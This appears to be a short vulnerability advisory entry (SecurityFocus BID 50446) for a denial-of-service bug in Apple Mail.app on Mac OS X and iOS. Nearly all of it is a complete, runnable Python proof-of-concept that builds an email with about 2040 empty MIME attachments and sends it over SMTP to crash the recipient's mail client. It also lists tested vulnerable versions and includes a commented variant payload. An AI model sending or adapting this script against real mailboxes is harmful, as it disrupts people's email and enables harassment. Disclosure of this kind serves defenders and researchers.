source: http://www.securityfocus.com/bid/50446/info

Apple Mac OS X and iOS are prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the affected mail client to crash, effectively denying service. 

#!/usr/bin/env python

# Mail of death for Apple's Mail.app
#
# Tested & vulnerable:  Leopard/Intel, Snow Leopard, Lion (up to 10.7.2), IOS 4.2.x, 4.3.3
# Tested != vulnerable: Leopard/PPC
# Create mail with n_attach MIME attachments
# Version 1.0; shebang42

import smtplib

n_attach=2040 # ~2024 is sufficient
relay='your.mta.goes.here'
mailfrom = 'mail_of_death@example.com'
mailto = mailfrom
subject = 'PoC Apple Mail.app mail of death'
date = 'October 29, 2011 10:00:00 GMT'


def craft_mail():
    header = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\nContent-Type: multipart/mixed ; boundary="delim"\n\n' % (mailfrom, mailto, subject, date)
    body = '--delim\nContent-Type: text/plain\nContent-Disposition: inline\n\nHello World\nBye Mail.app\n\n\n'
    attach = '--delim\nContent-Disposition: inline\n\n'*n_attach

    ### Another, slightly longer option to crash Mail.app (same bug)
    # attach = '--delim\nContent-Type: text/plain\nContent-Disposition: attachment; filename=AAAAAAAA\n\ncontent\n'*n_attach
    return header + body + attach


def send_mail(mail):
    server = smtplib.SMTP(relay)
    server.sendmail(mailfrom, mailto, mail)
    server.quit()

mail=craft_mail()
#print mail
send_mail (mail)